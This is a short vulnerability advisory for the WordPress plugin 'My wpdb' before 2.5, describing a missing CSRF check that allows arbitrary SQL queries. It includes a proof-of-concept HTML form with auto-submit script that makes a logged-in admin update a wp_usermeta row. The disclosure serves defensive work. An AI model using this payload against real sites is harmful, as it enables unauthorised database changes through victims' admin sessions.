My wpdb < 2.5 - Arbitrary SQL Query via CSRF

2022-10-2800:00:00

Daniel Ruf

arbitrary sql query

csrf

wpdb

wordpress

security vulnerability

EPSS

0.002

Percentile

61.3%

JSON

The plugin is missing CSRF check when running SQL queries, which could allow attacker to make a logged in admin run arbitrary SQL query via a CSRF attack

<form id="test" action="https://example.com/wp-admin/?page=mywpdb_page&table=wp_usermeta&where%5Bumeta_id%5D=1" method="POST">
    <input type="text" name="umeta_id" value="1">
    <input type="text" name="user_id" value="1">
    <input type="text" name="meta_key" value="nickname">
    <input type="text" name="meta_value" value="test1111111">
    <input type="text" name="mywpdbUpdateTrigger" value="">
</form>
<script>
    document.getElementById("test").submit();
</script>

EPSS

0.002

Percentile

61.3%

JSON

Related for WPEX-ID:C280DA92-4AC2-43EA-93A2-6C583B79B98B